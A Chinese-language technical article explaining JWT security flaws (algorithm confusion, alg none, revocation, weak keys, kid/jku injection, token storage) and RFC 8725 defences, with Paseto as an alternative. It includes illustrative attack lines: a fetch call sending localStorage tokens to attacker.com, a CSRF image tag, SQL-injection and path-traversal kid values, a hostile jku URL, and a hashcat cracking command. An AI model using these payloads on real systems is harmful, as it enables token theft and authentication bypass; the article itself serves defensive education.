2015年5月,JSON Web Token(JWT)作为RFC 7519正式发布。这个看似简单的标准——用三个Base64编码的部分表示用户身份——在随后的十年里席卷了整个Web开发领域。从单页应用到微服务架构,从移动App到物联网设备,JWT几乎成了现代认证的同义词。

然而,正是这种广泛采用,让JWT设计中的每一个模糊之处都变成了安全漏洞的温床。2022年12月,Auth0维护的jsonwebtoken库被披露存在四个CVE漏洞,其中CVE-2022-23540允许攻击者绕过签名验证。这个每周下载量超过900万次的库,在长达数年的时间里一直存在认证绕过风险。

这不是个案。PortSwigger的Web Security Academy专门开设了JWT攻击实验室;RFC 8725用整整一章列举已知的JWT实现漏洞;安全研究人员甚至创建了Paseto作为JWT的"安全替代品"。问题在于,JWT标准本身设计时就留下太多自由度,而开发者往往在最危险的地方做出了错误选择。

设计初衷与现实鸿沟

JWT的核心设计理念是无状态(stateless):所有验证所需的信息都包含在token本身,服务端无需存储会话数据。这在分布式系统中极具吸引力——任何一台服务器都能验证token,无需共享存储或数据库查询。

一个标准的JWT由三部分组成:

header.payload.signature
  • Header:声明token类型和签名算法,如 {"alg":"HS256","typ":"JWT"}
  • Payload:包含声明(claims),如用户ID、过期时间等
  • Signature:对前两部分的签名,防止篡改

JWT结构示意图

图片来源: mintlify.s3.us-west-1.amazonaws.com

这个设计看似简洁,却埋下了第一个隐患:算法声明在token本身

当算法可以被篡改

RFC 7519明确规定,JWT的Header中包含alg字段,用于指示签名算法。这本意是支持"加密敏捷性"(cryptographic agility),让系统可以平滑升级算法。但问题在于:谁来决定使用哪个算法?

许多JWT库的实现逻辑是这样的:

function verify(token, secretOrPublicKey) {
    const header = decodeHeader(token);
    const alg = header.alg;  // 从token中读取算法!
    
    if (alg === 'RS256') {
        return verifyRS256(token, secretOrPublicKey);
    } else if (alg === 'HS256') {
        return verifyHS256(token, secretOrPublicKey);
    }
    // ...
}

这等于把"使用哪个密钥验证"的决定权交给了token本身。攻击者只需要将算法从非对称的RS256改为对称的HS256,然后用服务器的公钥作为HMAC密钥签名,就能绕过验证。

None算法的幽灵

更极端的情况是alg: "none"。JWT规范(RFC 7515)确实定义了"Unsecured JWT",允许不签名的token存在。RFC 7519第6章甚至给出了示例:

{"alg":"none"}

规范的本意是:在某些已由传输层(如TLS)保护的场景下,可以省略签名计算的开销。但实现者们忽略了一个事实:如果服务器接受alg: "none",任何人都能伪造token。

2016年,Tim McLean在博客文章《Critical vulnerabilities in JSON Web Token libraries》中指出,当时主流的JWT库几乎都存在这个问题:它们会信任token头部的alg字段,即使这个字段被设置为none。虽然十年后的今天,大多数库已经默认拒绝none算法,但CVE-2026-23993表明,新的实现仍在重复同样的错误——当alg值为未知字符串时,某些库会退化为空签名验证。

无状态的代价:撤销困局

JWT的"无状态"特性是其最大卖点,也是最致命的缺陷。一旦token被签发,它在过期之前都有效——没有任何中央机制可以让它失效。

登出是假的

当用户点击"退出登录"时,传统的Session机制只需在服务端删除会话记录。但JWT呢?服务端什么也做不了,因为验证token不需要查询任何存储。token仍然有效,直到exp声明的时间到期。

这导致了几个实际问题:

  1. Token泄露后无法止损:如果攻击者窃取了有效期24小时的token,受害者即使立即修改密码,token仍然有效23小时59分钟。
  2. 权限变更不即时生效:管理员撤销某用户的权限后,该用户的token仍然有效,可以继续访问受限资源。
  3. 强制登出不可实现:企业安全策略要求"可疑登录后强制登出所有设备",JWT无法支持这一需求。

黑名单方案:重新引入状态

为了解决撤销问题,开发者不得不重新引入状态:维护一个token黑名单或吊销列表。每次验证token时,先查询它是否在黑名单中。

但这意味着:

sequenceDiagram
    participant Client
    participant Server
    participant Blacklist as Token Blacklist
    
    Client->>Server: Request with JWT
    Server->>Server: Verify signature
    Server->>Blacklist: Check if token is revoked
    Blacklist-->>Server: Not found
    Server->>Server: Validate claims (exp, aud, etc.)
    Server-->>Client: Allow access

讽刺的是,这个方案完全背离了JWT的"无状态"初衷。如果必须维护黑名单,那为什么不直接用Session?Session机制本质上就是一个白名单:只有存在于存储中的会话才有效。黑名单则是反向操作:所有token默认有效,除非被标记无效。从存储和查询效率角度看,两者没有本质区别。

短期token + Refresh Token:部分解决

业界的主流方案是将access token的有效期设得很短(5-15分钟),同时配合refresh token实现无感刷新。Refresh token存储在服务端,可以被主动撤销。

但这只降低了风险窗口,并未从根本上解决问题。攻击者仍然有5-15分钟的时间窗口进行恶意操作。对于金融交易等敏感场景,这个窗口仍然太大。

算法混淆攻击:当RSA变成HMAC

算法混淆攻击(Algorithm Confusion Attack)是JWT最经典、最危险的攻击向量之一。它利用了非对称算法和对称算法的根本差异。

对称 vs 非对称

  • HS256(HMAC-SHA256):对称算法。签名和验证使用同一个密钥。密钥必须保密,任何拥有密钥的人都能签名。
  • RS256(RSA-SHA256):非对称算法。私钥签名,公钥验证。公钥可以公开,即使泄露也无法伪造签名。

在OAuth 2.0和OpenID Connect场景中,服务提供商通常会公开其公钥(通过jwks_uri端点),让客户端验证ID Token的真实性。这是设计使然——公钥本来就是公开的。

攻击原理

假设服务器使用RS256签名token,并且其公钥是公开的(这在微服务架构中很常见)。攻击者获取到公钥后,可以构造一个恶意的token:

  1. 将Header中的algRS256改为HS256
  2. 用服务器的公钥作为HMAC密钥对token签名
  3. 发送给服务器验证

如果服务器端的JWT库这样实现验证:

// 危险的实现
jwt.verify(token, publicKey);  // 没有指定算法

库会从token的Header读取alg: "HS256",然后用publicKey作为HMAC密钥验证签名——而攻击者正是用这个公钥签名的,所以验证会通过!

PortSwigger的实验室详细演示了这一攻击过程。关键在于:服务器的公钥和攻击者用来签名的"密钥"必须完全一致,包括格式和字节序。在实践中,攻击者可能需要尝试PEM格式、JWK格式等不同编码方式。

真实案例:CVE-2024-54150

2024年12月披露的CVE-2024-54150影响了一个C语言JWT实现。该漏洞的描述明确指出:“Algorithm confusion occurs when a system improperly verifies the type of signature used."(当系统不正确地验证签名类型时,就会发生算法混淆。)

这不是理论风险。每当代码审查发现jwt.verify(token, key)这样的调用——没有显式指定算法——就存在算法混淆的可能。

密钥管理:最薄弱的环节

再强的算法,也敌不过弱密钥。

弱密钥的暴力破解

HS256的安全性完全依赖于密钥的强度。如果开发者使用了"secret”、“password123"这样的弱密钥,攻击者可以在几秒内暴力破解。

2017年,Auth0发布了文章《Brute Forcing HS256 is Possible》,详细说明如何使用hashcat破解弱密钥:

hashcat -a 0 -m 16500 jwt.txt wordlist.txt

命令中的-m 16500是hashcat专门为JWT定义的模式。只要有一个有效的JWT token和一个密钥字典,攻击者就能在离线环境中尝试所有可能的密钥,直到签名验证通过。

密钥泄露的灾难性后果

对于HS256,密钥泄露意味着攻击者可以伪造任意用户的token。对于RS256,私钥泄露同样致命。区别在于:HS256的密钥通常只有一份,所有服务共享;RS256的私钥通常由认证服务独占,泄露面更窄,但一旦泄露,影响范围可能更大(因为RS256常用于多服务共享验证的场景)。

2022年,Palo Alto Networks的Unit 42团队披露了CVE-2022-23529,这是一个影响jsonwebtoken库的"secret poisoning"漏洞。当应用从外部输入(如HTTP请求体)构造密钥对象时,攻击者可能注入恶意代码。虽然这个CVE最终被降级为"not a security issue”,但它揭示了密钥处理的复杂性。

获得token后,客户端需要存储它以备后续请求使用。存储位置的选择直接影响token的安全性。

LocalStorage的XSS风险

许多教程建议将JWT存储在localStorage:

// 登录成功后
localStorage.setItem('token', response.data.token);

// 后续请求
fetch('/api/resource', {
    headers: {
        'Authorization': `Bearer ${localStorage.getItem('token')}`
    }
});

这种做法的问题是:localStorage可以被JavaScript完全访问。如果网站存在XSS漏洞,攻击者只需执行:

fetch('https://attacker.com/steal?token=' + localStorage.getItem('token'));

Token就被窃取了。更糟糕的是,XSS在现代Web应用中并不罕见:第三方JavaScript库、用户生成内容、DOM模板引擎等都可能成为XSS的入口。

Cookie的CSRF风险

将token存储在HttpOnly Cookie中可以防止XSS窃取——JavaScript无法访问Cookie内容。但这引入了另一个风险:CSRF(跨站请求伪造)。

默认情况下,浏览器会在向同域发送请求时自动附带Cookie。如果攻击者在恶意网站上构造一个请求:

<img src="https://victim.com/api/transfer?to=attacker&amount=10000" style="display:none">

受害者访问恶意网站时,请求会自动附带victim.com的Cookie,包括JWT。服务器验证token通过,执行转账操作。

缓解CSRF需要额外措施:

  1. SameSite属性:设置SameSite=StrictSameSite=Lax,限制Cookie只在同站请求中发送
  2. CSRF Token:在表单中嵌入一个随机token,服务端验证token匹配
  3. 双重提交Cookie:要求请求同时在Cookie和请求头中包含token

但每种方案都有局限性。SameSite属性在某些浏览器中支持不完整;CSRF Token需要服务端维护状态,与JWT无状态理念冲突。

最小妥协方案

业界逐渐形成共识:

  • Access Token:存储在内存中(JavaScript变量),不持久化。应用关闭后token消失,用户需要重新登录。
  • Refresh Token:存储在HttpOnly Cookie中,配合CSRF保护。Refresh token只在获取新access token时使用,使用频率低,CSRF风险可控。

这个方案平衡了安全性和用户体验,但实现复杂度明显增加。

Header注入:kid、jku、x5u的危险游戏

JWT的Header除了algtyp,还支持多个可选参数。其中一些参数如果处理不当,会成为严重的安全漏洞。

kid注入攻击

kid(Key ID)用于标识验证签名时应使用的密钥。一个典型的Header可能是:

{
    "alg": "HS256",
    "kid": "key-2024-01"
}

服务端根据kid值查找对应的密钥。问题在于:如果服务端直接将kid用于数据库查询或文件路径,攻击者可以注入恶意值:

{
    "alg": "HS256",
    "kid": "key-2024-01' UNION SELECT 'attack-key'--"
}

或者使用路径遍历:

{
    "alg": "HS256",
    "kid": "../../dev/null"
}

如果服务端使用文件路径加载密钥,且验证逻辑存在缺陷,可能加载一个空密钥或攻击者可控的密钥,从而绕过签名验证。

jku和x5u的SSRF风险

jku(JWK Set URL)和x5u(X.509 URL)参数允许token指定密钥的远程获取地址。服务端应该只从受信任的URL获取密钥,但如果验证不严格:

{
    "alg": "RS256",
    "jku": "https://attacker.com/.well-known/jwks.json"
}

攻击者可以让服务端访问任意URL,导致:

  1. SSRF(服务器端请求伪造):攻击者可以探测内网服务、访问云服务元数据端点
  2. 密钥注入:如果服务端信任了攻击者提供的JWK,攻击者可以完全控制签名验证

PortSwigger的实验室提供了这一攻击的完整演示。

Claims验证缺失:隐形的漏洞

即使签名验证正确实现,忽略Claims验证仍然会导致安全问题。

过期时间验证

RFC 7519定义了exp(过期时间)声明,要求"当前时间必须早于过期时间"。但许多开发者忘记验证它:

// 错误:只验证签名,不验证过期时间
const payload = jwt.verify(token, secret);  
// payload可能已经过期,但仍然被接受

正确的做法是:

const payload = jwt.verify(token, secret, { 
    algorithms: ['HS256'],  // 显式指定算法
    maxAge: '2h'            // 验证过期时间
});

受众验证(aud)

aud(Audience)声明指示token的预期接收者。如果服务端不验证aud,攻击者可能将在一个服务有效的token用于另一个服务:

{
    "sub": "user-123",
    "aud": "service-a.example.com",
    "iss": "auth.example.com"
}

如果service-b.example.com不验证aud,攻击者可以将service-a的token用于service-b。这在微服务架构中尤其危险:多个服务共享同一个认证服务颁发的token,但权限范围不同。

签发者验证(iss)

iss(Issuer)声明指示token的签发者。在OAuth 2.0场景中,这个值通常是认证服务的URL。服务端应该只接受来自可信签发者的token。

OpenID Connect规范要求验证iss值与发现文档中的issuer字段一致。忽略这个验证可能导致接受来自不可信来源的token。

真实世界的代价

这些漏洞不是纸上谈兵。每一次CVE披露背后,都有可能受影响的生产环境。

jsonwebtoken库的安全危机

jsonwebtoken是Node.js生态中最流行的JWT库,每周下载量超过900万。2022年12月,Auth0披露了四个CVE:

CVE 漏洞描述
CVE-2022-23529 密钥对象注入(后降级为非安全问题)
CVE-2022-23539 密钥类型混淆
CVE-2022-23540 签名验证绕过(默认算法不安全)
CVE-2022-23541 密钥检索函数配置错误

其中,CVE-2022-23540影响最广:在8.5.1版本之前,如果调用jwt.verify(token, secret)时没有显式指定algorithms参数,库会接受token Header中声明的任何算法——这正是算法混淆攻击的温床。

python-jose的none算法漏洞

python-jose是Python生态中的JWT实现之一。安全研究人员发现,该库在某些版本中允许alg: "none"的token绕过签名验证。这与2016年Tim McLean披露的问题如出一辙:六年过去了,同样的错误仍在重复。

防御指南:RFC 8725的启示

2020年2月,IETF发布了RFC 8725《JSON Web Token Best Current Practices》,总结了JWT实现的安全最佳实践。核心建议包括:

1. 强制算法验证

库应该让调用者指定支持的算法列表,只接受列表中的算法:

// 正确做法
jwt.verify(token, secret, { 
    algorithms: ['HS256', 'RS256']  // 只接受这两种算法
});

服务端绝不应该信任token Header中的alg值。

2. 每个密钥绑定一个算法

RFC 8725要求:“每个密钥必须只用于一个算法,且在执行加密操作时必须检查这一点。”

这意味着密钥对象应该包含算法信息,而不是只包含密钥材料:

const key = {
    kid: 'key-001',
    alg: 'RS256',  // 密钥绑定了算法
    publicKey: '...'
};

// 验证时检查密钥的算法与token声明的算法是否一致

3. 验证所有Claims

不要只验证签名和exp。根据应用场景,验证:

  • iss(签发者)
  • aud(受众)
  • nbf(生效时间)
  • jti(token ID,用于防重放)

4. 禁用或严格限制none算法

RFC 8725指出,none算法只应在token已由传输层保护(如TLS)的场景下使用。库默认应该拒绝none算法,除非调用者显式允许。

5. 保护Header参数

不要盲目信任kidjkux5u等参数:

  • kid进行严格的格式验证和参数化查询
  • jkux5u进行白名单验证
  • 禁止内网URL和可疑域名

6. 使用强密钥

HS256的密钥应该至少256位(32字节)随机数据。绝不要使用密码、短语或可预测的值作为密钥。

// 生成强密钥
const crypto = require('crypto');
const secret = crypto.randomBytes(32).toString('hex');

7. 设置合理的过期时间

Access token的有效期应该是分钟级或小时级,不要设为天或月。配合refresh token实现会话延续。

8. 使用显式类型(Explicit Typing)

通过typHeader参数区分不同类型的JWT,避免"JWT混淆"攻击:

{
    "typ": "access-token+jwt",
    "alg": "RS256"
}

验证时检查typ值是否符合预期。

替代方案的崛起:Paseto

面对JWT层出不穷的安全问题,安全研究者们开始设计替代方案。其中最受关注的是Paseto(Platform-Agnostic Security Tokens)。

Paseto的设计哲学

Paseto的核心原则是"安全默认":

  1. 不信任用户的算法选择:Paseto的版本号直接决定了使用的算法,用户无法通过修改Header来改变算法。
  2. 分离用途:Paseto明确区分"Local"(对称加密,服务端验证)和"Public"(非对称签名,公开验证)两种场景。
  3. 内置安全措施:每个版本都绑定了经过严格审查的算法组合,开发者无需选择。

结构对比

JWT:

header.payload.signature

Header中的alg字段可以被攻击者控制。

Paseto(v4.local):

v4.local.payload.footer

版本号v4直接决定了使用的算法(XChaCha20-Poly1305),攻击者无法修改。

迁移考量

Paseto并非万能药。它的主要局限包括:

  • 生态不成熟:相比JWT,Paseto的库和工具链较少
  • 兼容性:现有OAuth 2.0和OpenID Connect实现大多假设使用JWT
  • 学习曲线:开发团队需要学习新的概念和API

对于新项目,如果不需要与现有OAuth 2.0生态系统深度集成,Paseto是值得考虑的选择。对于已有项目,加固JWT实现往往比重构更现实。

结论:在限制中求安全

JWT的设计哲学——无状态、自包含、可扩展——在分布式系统时代极具吸引力。但正是这些特性,让它成为安全陷阱的集中营。算法可协商、token无法撤销、Header可注入、Claims验证易遗漏……每一个"灵活性"背后,都是一个等待触发的漏洞。

使用JWT并不意味着必然不安全,但意味着必须极其谨慎:

  1. 永远显式指定算法,不让库从token推断
  2. 永远验证所有Claims,不只验证签名
  3. 永远使用强密钥,不用密码或弱随机数
  4. 永远设置短过期时间,配合refresh token
  5. 永远保护Header参数,不让用户输入直接用于密钥检索
  6. 仔细选择存储方案,理解XSS和CSRF的风险权衡

在某种程度上,JWT的困境折射出软件工程的一个普遍真理:灵活性是有代价的。当你把算法选择、密钥检索、Claims验证都交给开发者自行决定时,你也在把安全风险转嫁给他们。Paseto等替代方案之所以更安全,恰恰是因为它们减少了开发者的自由度——而这种减少,在安全领域往往是值得的。

如果你的团队正在设计新的认证系统,不妨问一个问题:我们真的需要无状态吗?如果答案是否定的,传统的Session机制可能更简单、更安全。如果答案是肯定的,那么JWT——正确实现的JWT——仍然是一个可用的选择,只是别忘了阅读RFC 8725。


参考资料

  1. Jones, M., Bradley, J., & Sakimura, N. (2015). RFC 7519: JSON Web Token (JWT). IETF.
  2. Sheffer, Y., Hardt, D., & Jones, M. (2020). RFC 8725: JSON Web Token Best Current Practices. IETF.
  3. McLean, T. (2016). Critical vulnerabilities in JSON Web Token libraries. Auth0 Blog.
  4. PortSwigger. (2024). Algorithm confusion attacks. Web Security Academy.
  5. Auth0. (2017). Brute Forcing HS256 is Possible: The Importance of Using Strong Keys to Sign JWTs.
  6. Auth0. (2022). CVE-2022-23539, CVE-2022-23541, CVE-2022-23540 Security Bulletin.
  7. NIST. (2022). CVE-2022-23540 Detail. National Vulnerability Database.
  8. Palo Alto Networks Unit 42. (2023). Security Issue in JWT Secret Poisoning.
  9. Permify. (2024). JWT vs PASETO: New Era of Token-Based Authentication.
  10. Curity. (2024). JWT Security Best Practices: Checklist for APIs.